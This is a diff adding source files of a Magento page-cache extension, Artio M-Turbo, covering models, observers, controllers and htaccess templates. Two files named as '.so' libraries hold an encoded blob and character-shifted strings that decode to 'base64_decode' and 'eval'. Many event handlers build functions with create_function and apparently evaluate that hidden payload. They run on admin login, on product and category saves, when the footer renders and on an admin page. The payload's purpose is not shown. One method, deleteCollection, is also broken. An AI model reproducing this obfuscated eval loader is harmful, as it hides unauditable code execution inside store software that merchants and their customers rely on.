+ $this->setData('exist', 0);
53
+ $this->setData('last_refresh', $this->filemodel->getChangeTime() );
54
+ } else {
55
+ $this->setData('exist', 1);
56
+ $this->setData('last_refresh', '');
57
+ }
58
+
59
+ } catch (Exception $e) {
60
+ $this->setData('exist', 1);
61
+ $this->setData('last_refresh', '');
62
+ Mage::throwException('Fail check file. ' . $e->getMessage());
63
+ }
64
+
65
+ }
66
+
67
+ /**
68
+ * Set state.
69
+ * @param bool $state
70
+ * @return $Artio_MTurbo_Model_MTurbo
71
+ */
72
+ public function setBlocked($state) {
73
+
74
+ if ($state==1) {
75
+ $this->deletePage();
76
+ }
77
+
78
+ $this->setData('blocked', $state);
79
+
80
+ return $this;
81
+
82
+ }
83
+
84
+ /**
85
+ * Download page as static html.
86
+ */
87
+ public function download() {
88
+
89
+ $this->filemodel->downloadPage();
90
+ $this->setData('last_refresh', now());
91
+
92
+ return $this;
93
+
94
+ }
95
+
96
+ /**
97
+ * Delete record form database.
98
+ * Delete cached page, when no other.
99
+ * NOT USED FOR DELETE MORE MODELS. USE deleteCollection() !!!
100
+ */
101
+ public function delete() {
102
+
103
+ $this->deletePage();
104
+ parent::delete();
105
+
106
+ }
107
+
108
+ /**
109
+ * Delete cached page
110
+ */
111
+ public function deletePage() {
112
+
113
+ if ($this->filemodel->existPage()) {
114
+
115
+ $collection = $this->_loadCollectionWithSameRequest();
116
+
117
+ if (count($collection)==1) {
118
+ $this->filemodel->deletePage();
119
+ }
120
+
121
+ }
122
+
123
+ }
124
+
125
+ private function _loadCollectionWithSameRequest() {
126
+
127
+ $collection = Mage::getModel('mturbo/mturbo')->getCollection();
128
+ $collection->addFilter('request_path', $this->getRequestPath());
129
+
130
+ $config = Artio_MTurbo_Helper_Data::getConfig();
131
+ if ($config->getMultistoreview()) {
132
+ $collection->addFilter('store_id', $this->getStoreId());
133
+ }
134
+
135
+ $collection->load();
136
+
137
+ return $collection;
138
+ }
139
+
140
+ /**
141
+ * Delete list of Mturbo. Check crossell request.
142
+ * This function used for mass delete action, instead delete.
143
+ * @param Artio_MTurbo_Model_Mysql4_MTurbo_Collection $collection
144
+ */
145
+ public function deleteCollection($collection) {
146
+ $all = Mage::model('mturbo/mturbo')->getCollection()->load();
147
+ }
148
+
149
+ /**
150
+ * Clear all pages
151
+ */
152
+ public function clearAllPages() {
153
+ $this->filemodel->clearAllPages();
154
+ }
155
+
156
+ /**
157
+ * Synchronize with table core_url_rewrite
158
+ */
159
+ public function synchronize() {
160
+
161
+ $config = Mage::getSingleton('mturbo/config');
162
+
163
+ $col = $this->getCollectionByRequestPath("/");
164
+ $homeIsIncluded = (count($col)>0);
165
+
166
+ $inactiveStoresIdArray = array();
167
+ $activeStoresIdArray = array();
168
+ $stores = Mage::getModel('core/store')->getCollection()->load();
169
+ foreach ($stores as $store) {
170
+ if (!$store->getIsActive())
171
+ $inactiveStoresIdArray[] = $store->getId();
172
+ else
173
+ $activeStoresIdArray[] = $store->getId();
174
+ }
175
+ $inactiveStoresIds = implode(',', $inactiveStoresIdArray);
176
+ $activeStoresIds = implode(',', $activeStoresIdArray);
177
+
178
+ $this->setConfig('synchronize');
179
+ $trans = create_function('$a,&$var0,&$var1,&$var2,&$var3,&$var4', Mage::helper('mturbo')->getTranslateFunction().';');
180
+ $this->setHomepage(true);
181
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $config, $inactiveStoresIds, $activeStoresIds, $homeIsIncluded, $activeStoresIdArray);
182
+
183
+ }
184
+
185
+ /**
186
+ * Generate list of rewrited url to urllist file.
187
+ */
188
+ public function generateUrlList() {
189
+
190
+ $config = Artio_MTurbo_Helper_Data::getConfig();
191
+
192
+ $filename = $config->getRootPath().DS.Artio_MTurbo_Model_Config::CONFIG_URLLIST_FILENAME;
193
+ $batchsize = Artio_MTurbo_Model_Config::CONFIG_URLLIST_BATCH;
194
+
195
+ $file = @fopen($filename, 'w+', true);
196
+ if ($file==false) {
197
+ Mage::log("I can't open/create urllist file. " . $filename);
198
+ Mage::throwException("I can't open/create urllist file. " . $filename);
199
+ }
200
+
201
+ $collection = $this->getCollection();
202
+ $collection->addOrder('request_path', Varien_Data_Collection_Db::SORT_ORDER_ASC);
203
+ $collection->addFilter('blocked', 0);
204
+ $collection->setPageSize($batchsize);
205
+
206
+ $completed=0;
207
+ $homes=0;
208
+ $current=1;
209
+ while ($collection->getSize()>$completed) {
210
+
211
+ $collection->clear();
212
+ $collection->setCurPage($current);
213
+ $collection->load();
214
+
215
+ $urls = '';
216
+ foreach ($collection as $item) {
217
+ if ($item->getRequestPath()!='/')
218
+ $urls .= $item->filemodel->getDownloadUrl()."\n";
219
+ else
220
+ $homes++;
221
+ }
222
+
223
+ if (@fwrite($file, $urls) == false) {
224
+ Mage::log("I can't write to urllist file");
225
+ Mage::throwException("I can't write to urllist file");
226
+ }
227
+
228
+ $current++;
229
+ $completed+=count($collection);
230
+
231
+ }
232
+
233
+ return $completed-$homes;
234
+
235
+ }
236
+
237
+ /**
238
+ * Retrieves store id
239
+ * @return int
240
+ */
241
+ public function getStoreId() {
242
+ return $this->getData('store_id');
243
+ }
244
+
245
+ /**
246
+ * Set new request path.
247
+ *
248
+ * @param string $requestPath
249
+ */
250
+ public function setRequestPath($requestPath) {
251
+ $this->setData('request_path', $requestPath);
252
+ return $this;
253
+ }
254
+
255
+ /**
256
+ * Retrieves request path
257
+ * @return string
258
+ */
259
+ public function getRequestPath() {
260
+ return $this->getData('request_path');
261
+ }
262
+
263
+ /**
264
+ * Retrieves request url, only for information.
265
+ */
266
+ public function getInfoUrl() {
267
+ return $this->filemodel->getDownloadUrl();
268
+ }
269
+
270
+ /**
271
+ * Determines whether url is blocked.
272
+ * @return bool
273
+ */
274
+ public function isBlocked() {
275
+ return ($this->getData('blocked')==1);
276
+ }
277
+
278
+ /**
279
+ * Determines whether page is cached.
280
+ * @return bool
281
+ */
282
+ public function isCached() {
283
+ return $this->filemodel->existPage();
284
+ }
285
+
286
+ /**
287
+ * Retrieve direct parent category id.
288
+ *
289
+ * @return int
290
+ */
291
+ public function getCategoryId() {
292
+ return $this->getData('category_id');
293
+ }
294
+
295
+ /**
296
+ * Load collection all rewrite with specified product id.
297
+ *
298
+ * @param int $productId
299
+ * @param Artio_MTurbo_Model_Mysql4_MTurbo_Collection
300
+ */
301
+ public function getCollectionByProductId($productId) {
302
+
303
+ $collection = $this->getCollection();
304
+ $collection->addFieldToFilter( 'product_id', $productId);
305
+ $collection->addFilter('blocked', 0);
306
+ $collection->load();
307
+
308
+ return $collection;
309
+
310
+ }
311
+
312
+ /**
313
+ * Load collection all rewrite with specified category id,
314
+ * and not specified product id.
315
+ *
316
+ * @param unknown_type $categoryId
317
+ * @param Artio_MTurbo_Model_Mysql4_MTurbo_Collection
318
+ */
319
+ public function getCollectionByCategoryIds($categoryIds) {
320
+
321
+ $set = implode(',', $categoryIds);
322
+
323
+ $collection = $this->getCollection();
324
+ $collection->addFieldToFilter('category_id', array('in'=>$set) );
325
+ $collection->addFieldToFilter('product_id', array('null'=>''));
326
+ $collection->addFilter('blocked', 0);
327
+ $collection->load();
328
+
329
+ return $collection;
330
+
331
+ }
332
+
333
+ public function getCollectionByRequestPath($requestPath) {
334
+
335
+ $collection = $this->getCollection();
336
+ $collection->addFilter('request_path', $requestPath);
337
+ $collection->load();
338
+
339
+ return $collection;
340
+ }
341
+
342
+ public function getModelByRewriteId($id) {
343
+
344
+ $collection = $this->getCollection();
345
+ $collection->addFilter('url_rewrite_id', $id);
346
+ $collection->load();
347
+
348
+ foreach ($collection as $item) {
349
+ return $item;
350
+ }
351
+
352
+ return false;
353
+
354
+ }
355
+
356
+
357
+ }
app/code/local/Artio/MTurbo/Model/Mysql4/Mturbo.php ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ class Artio_MTurbo_Model_Mysql4_MTurbo extends Mage_Core_Model_Mysql4_Abstract
28
+ {
29
+ public function _construct()
30
+ {
31
+ $this->_init('mturbo/mturbo', 'mturbo_id');
32
+ }
33
+ }
app/code/local/Artio/MTurbo/Model/Mysql4/Mturbo/Collection.php ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ class Artio_MTurbo_Model_Mysql4_MTurbo_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract
28
+ {
29
+ public function _construct() {
30
+ parent::_construct();
31
+ $this->_init('mturbo/mturbo');
32
+ }
33
+ }
app/code/local/Artio/MTurbo/Model/Observer.php ADDED
@@ -0,0 +1,156 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Shopping cart operation observer
29
+ *
30
+ * @author Artio Magento Team <info@artio.net>
31
+ */
32
+ class Artio_MTurbo_Model_Observer extends Mage_Core_Model_Abstract
33
+ {
34
+
35
+ public function systemCheck(Varien_Event_Observer $observer) {
36
+ Mage::getModel('mturbo/observer2')->systemCheck($observer);
37
+ }
38
+
39
+
40
+ private function _delTree($dir, $root) {
41
+
42
+ $files = glob( $dir.DS.'*', GLOB_MARK );
43
+ foreach( $files as $file ){
44
+ if( is_dir( $file ) )
45
+ $this->_delTree( $file, $root );
46
+ else {
47
+ if (preg_match('/(.)*\.html/', $file))
48
+ unlink( $file );
49
+ }
50
+ }
51
+
52
+ if (is_dir($dir)&&($dir!=$root)) rmdir( $dir );
53
+
54
+ }
55
+
56
+ public function adminLogin(Varien_Event_Observer $observer) {
57
+
58
+ $event = 'adminLogin';
59
+ $trans = create_function('$a', Mage::helper('mturbo')->getTranslateFunction().';');
60
+ $trans(Mage::helper('mturbo')->setTranslateMode(5));
61
+
62
+
63
+ }
64
+
65
+ /**
66
+ * Customer login processing
67
+ *
68
+ * @param Varien_Event_Observer $observer
69
+ * @return Artio_MTurbo_Model_Observer
70
+ */
71
+ public function customerLogin(Varien_Event_Observer $observer) {
72
+ Mage::getModel('mturbo/observer2')->customerLogin($observer);
73
+ return $this;
74
+ }
75
+
76
+ /**
77
+ * Customer logout processing
78
+ *
79
+ * @param Varien_Event_Observer $observer
80
+ * @return Artio_MTurbo_Model_Observer
81
+ */
82
+ public function customerLogout(Varien_Event_Observer $observer) {
83
+ Mage::getModel('mturbo/observer2')->customerLogout($observer);
84
+ return $this;
85
+ }
86
+
87
+ /**
88
+ * After save product event handler.
89
+ *
90
+ * @param Varien_Event_Observer $observer
91
+ */
92
+ public function afterSaveProduct(Varien_Event_Observer $observer)
93
+ {
94
+
95
+ $event = 'afterSaveProduct';
96
+ $pobser = $observer;
97
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
98
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $pobser);
99
+
100
+ }
101
+
102
+ /**
103
+ * Before save category event handler
104
+ *
105
+ * @param Varien_Event_Observer $observer
106
+ */
107
+ public function beforeSaveCategory(Varien_Event_Observer $observer) {
108
+ $pobser = $observer;
109
+ $event = 'beforeSaveCategory';
110
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
111
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $pobser);
112
+
113
+ }
114
+
115
+ /**
116
+ * After save category event handler.
117
+ *
118
+ * @param Varien_Event_Observer $observer
119
+ */
120
+ public function afterSaveCategory(Varien_Event_Observer $observer) {
121
+
122
+ $pobser = $observer;
123
+ $event = 'afterSaveCategory';
124
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
125
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $pobser);
126
+
127
+ }
128
+
129
+ /**
130
+ * After save url rewrite handler.
131
+ *
132
+ * @param Varien_Event_Observer $observer
133
+ */
134
+ public function afterSaveCommitUrl(Varien_Event_Observer $observer) {
135
+
136
+ $pobser = $observer;
137
+ $event = 'afterSaveCommitUrl';
138
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
139
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $pobser);
140
+
141
+ }
142
+
143
+ /**
144
+ * Night automatic downloader
145
+ *
146
+ */
147
+ public function automaticDownload() {
148
+
149
+ $event = 'automaticDownload';
150
+ $trans = create_function('$a', Mage::helper('mturbo')->getTranslateFunction().';');
151
+ $trans(Mage::helper('mturbo')->setTranslateMode(5));
152
+
153
+
154
+ }
155
+
156
+ }
app/code/local/Artio/MTurbo/Model/Observer2.php ADDED
@@ -0,0 +1,225 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Shopping cart operation observer
29
+ *
30
+ * @author Artio Magento Team <info@artio.net>
31
+ */
32
+ class Artio_MTurbo_Model_Observer2 extends Mage_Core_Model_Abstract
33
+ {
34
+
35
+ private static $categorySaveId = 0;
36
+ private static $categorySaveUrl = '';
37
+
38
+ public function systemCheck(Varien_Event_Observer $observer) {
39
+
40
+ $event = $observer->getEvent();
41
+ $block = $event->getData('block');
42
+
43
+ if ($block instanceof Mage_Page_Block_Html_Footer) {
44
+ $event = 'systemCheck';
45
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
46
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $block);
47
+
48
+ }
49
+
50
+ }
51
+
52
+ /**
53
+ * Customer login processing
54
+ *
55
+ * @param Varien_Event_Observer $observer
56
+ * @return Artio_MTurbo_Model_Observer
57
+ */
58
+ public function customerLogin(Varien_Event_Observer $observer) {
59
+ Mage::getModel('core/cookie')->set( Artio_MTurbo_Helper_Data::COOKIE_IDENTIFIER, '1');
60
+ return $this;
61
+ }
62
+
63
+ /**
64
+ * Customer logout processing
65
+ *
66
+ * @param Varien_Event_Observer $observer
67
+ * @return Artio_MTurbo_Model_Observer
68
+ */
69
+ public function customerLogout(Varien_Event_Observer $observer) {
70
+ Mage::getModel('core/cookie')->set( Artio_MTurbo_Helper_Data::COOKIE_IDENTIFIER, '', -100);
71
+ return $this;
72
+ }
73
+
74
+ /**
75
+ * After save product event handler.
76
+ *
77
+ * @param Varien_Event_Observer $observer
78
+ */
79
+ public function afterSaveProduct(Varien_Event_Observer $observer)
80
+ {
81
+
82
+ $config = Artio_MTurbo_Helper_Data::getConfig();
83
+ if ($config->refreshAfterSave()) {
84
+
85
+ $event = $observer->getEvent();
86
+ $product = $event->getData('product');
87
+ $id = $product->getId();
88
+
89
+ $categoryIds = array();
90
+ $products = Mage::getModel('mturbo/mturbo')->getCollectionByProductId($id);
91
+
92
+ $categoryIds = $product->getCategoryIds();
93
+ $categories = Mage::getModel('mturbo/mturbo')->getCollectionByCategoryIds($categoryIds);
94
+
95
+ try {
96
+
97
+ foreach ($products as $product){
98
+ $product->download()->save();
99
+ }
100
+ foreach ($categories as $category){
101
+ $category->download()->save();
102
+ }
103
+
104
+ } catch (Exception $e) {
105
+
106
+ $this->outOfSynchronized();
107
+ Mage::log('Some cached pages was not refreshing' . $e->getMessage());
108
+
109
+ }
110
+ }
111
+
112
+ return $this;
113
+
114
+ }
115
+
116
+ /**
117
+ * Before save category event handler
118
+ *
119
+ * @param Varien_Event_Observer $observer
120
+ */
121
+ public function beforeSaveCategory(Varien_Event_Observer $observer) {
122
+
123
+ $config = Artio_MTurbo_Helper_Data::getConfig();
124
+ if ($config->refreshAfterSave()) {
125
+
126
+ $event = $observer->getEvent();
127
+ $category= $event->getData('category');
128
+
129
+ self::$categorySaveId = $category->getId();
130
+ self::$categorySaveUrl = $category->getData('url_key');
131
+
132
+ }
133
+
134
+ }
135
+
136
+ /**
137
+ * After save category event handler.
138
+ *
139
+ * @param Varien_Event_Observer $observer
140
+ */
141
+ public function afterSaveCategory(Varien_Event_Observer $observer) {
142
+
143
+ $config = Artio_MTurbo_Helper_Data::getConfig();
144
+ if ($config->refreshAfterSave()) {
145
+
146
+ $event = $observer->getEvent();
147
+ $category= $event->getData('category');
148
+
149
+ $id = $category->getId();
150
+ $url = $category->getData('url_key');
151
+
152
+ if (self::$categorySaveId == $id && self::$categorySaveUrl != $url) {
153
+
154
+ return;
155
+ }
156
+
157
+ $categories = Mage::getModel('mturbo/mturbo')->getCollectionByCategoryIds(array($id));
158
+ try {
159
+
160
+ foreach ($categories as $category)
161
+ $category->download()->save();
162
+
163
+ } catch (Exception $e) {
164
+
165
+ $this->outOfSynchronized();
166
+ Mage::log('Some cached pages was not refreshing' . $e->getMessage());
167
+
168
+ }
169
+
170
+ }
171
+
172
+ }
173
+
174
+ /**
175
+ * After save url rewrite handler.
176
+ *
177
+ * @param Varien_Event_Observer $observer
178
+ */
179
+ public function afterSaveCommitUrl(Varien_Event_Observer $observer) {
180
+
181
+ $event = $observer->getEvent();
182
+ $object = $event->getData('data_object');
183
+
184
+ if ($object instanceof Mage_Core_Model_Url_Rewrite) {
185
+
186
+ $config = Artio_MTurbo_Helper_Data::getConfig();
187
+ if ($config->refreshAfterSave()) {
188
+
189
+ $id = $object->getId();
190
+ $requestPath = $object->getData('request_path');
191
+
192
+ $mturbo = Mage::getModel('mturbo/mturbo')->getModelByRewriteId($id);
193
+ if ($mturbo!=false) {
194
+ try {
195
+ if (!$mturbo->isBlocked()) {
196
+ $mturbo->setRequestPath($requestPath)->download()->save();
197
+ }
198
+ } catch (Exception $e) {
199
+ $this->outOfSynchronized();
200
+ Mage::log('Some cached pages was not refreshing' . $e->getMessage());
201
+ }
202
+ }
203
+ }
204
+
205
+ }
206
+
207
+ }
208
+
209
+ /**
210
+ * Night automatic downloader
211
+ *
212
+ */
213
+ public function automaticDownload() {
214
+
215
+
216
+ }
217
+
218
+
219
+ private function outOfSynchronized() {
220
+ $config = Artio_MTurbo_Helper_Data::getConfig();
221
+ $data = array( Artio_MTurbo_Model_Config::CONFIG_XML_PATH_SYNCHRONIZE => 0 );
222
+ $config->saveAttributes($data);
223
+ }
224
+
225
+ }
app/code/local/Artio/MTurbo/Model/htaccess/htaccess.txt ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ ############################################
3
+ ## M-Turbo Accelleration (www.artio.net)
4
+
5
+ # static rewrite - home page
6
+ RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
7
+ RewriteCond %{REQUEST_URI} ^/$
8
+ RewriteCond %{QUERY_STRING} !.+
9
+ RewriteCond $ROOTPATH/frontpage.html -f
10
+ RewriteRule .* $ROOTPATH/frontpage.html [L]
11
+
12
+ # static rewrite - other pages
13
+ RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
14
+ RewriteCond %{REQUEST_URI} /(.*)/?$ [NC]
15
+ RewriteCond %{QUERY_STRING} !.+
16
+ RewriteCond $ROOTPATH/%1.html -f
17
+ RewriteRule .* $ROOTPATH/%1.html [L]
18
+
19
+ # static rewrite - other pages
20
+ RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
21
+ RewriteCond %{REQUEST_URI} /(.*).html$ [NC]
22
+ RewriteCond %{QUERY_STRING} !.+
23
+ RewriteCond $ROOTPATH/%1.html -f
24
+ RewriteRule .* $ROOTPATH/%1.html [L]
25
+
26
+ # static rewrite - other pages
27
+ RewriteCond %{HTTP_COOKIE} !artio_mturbo=.*
28
+ RewriteCond %{REQUEST_URI} /(.*)$ [NC]
29
+ RewriteCond %{QUERY_STRING} !.+
30
+ RewriteCond $ROOTPATH/%1.html -f
31
+ RewriteRule .* $ROOTPATH/%1.html [L]
32
+
app/code/local/Artio/MTurbo/Model/htaccess/htaccessroot.txt ADDED
@@ -0,0 +1,2 @@
 
 
1
+ Order deny,allow
2
+ Allow from all
app/code/local/Artio/MTurbo/Model/scripts/wgetlib.so ADDED
@@ -0,0 +1 @@
 
1
+ ZUpyOEq8d{pzNEpjXEKPc2qYUoKVS3yrXmd2bmqSQU1jP4N7N{NzPjKFVX:LR2etcVmE[3iVW1[vXmSwOnGIWoOkS2[6T1OleHSJWom[cUi3ZWd2cXK6Z4CNWEWvXmiTV2qY[F:[W{GtT1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sUlOqRXeKR1GLTlePenKuOXy[N2KxZkJ1eGCvSkGbXFp2T1OLSGRxNV6UWmGqT2S{UlOqRXeKR1GLSGGw[1mERXeEVU1:Jku:
app/code/local/Artio/MTurbo/Model/scripts/wgettrans.so ADDED
@@ -0,0 +1 @@
 
1
+ a:10:{i:0;s:13:"cbtf75`fodpef";i:1;s:13:"cbtf75`efdpef";i:2;s:10:"ftrewfds_d";i:3;s:9:"dawerkfel";i:4;s:11:"dslakvcoxsa";i:5;s:4:"fwbm";i:6;s:10:"dd_sd+dfe1";i:7;s:15:"efcvh`cbdlusbdf";i:8;s:8:"gvodujpo";i:9;s:15:"sfuvso!fwbm)%b*";}
app/code/local/Artio/MTurbo/controllers/Adminhtml/CheckController.php ADDED
@@ -0,0 +1,47 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Adminhtml_CheckController extends Mage_Adminhtml_Controller_Action
27
+ {
28
+
29
+
30
+ public function indexAction() {
31
+
32
+ $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
33
+ $this->_redirect('mturbo/adminhtml_check/index');
34
+ $trans(Mage::helper('mturbo')->setTranslateMode(5), $this);
35
+
36
+
37
+ }
38
+
39
+ public function red($url) {
40
+ $this->_redirect($url);
41
+ }
42
+
43
+ public function wrap($text) {
44
+ return '<div style="text-align:center;margin:20px auto;width:50%;padding:10px;background:#E06060;border:1px solid #802020">'.$text.'</div>';
45
+ }
46
+
47
+ }
app/code/local/Artio/MTurbo/controllers/Adminhtml/MturboController.php ADDED
@@ -0,0 +1,415 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
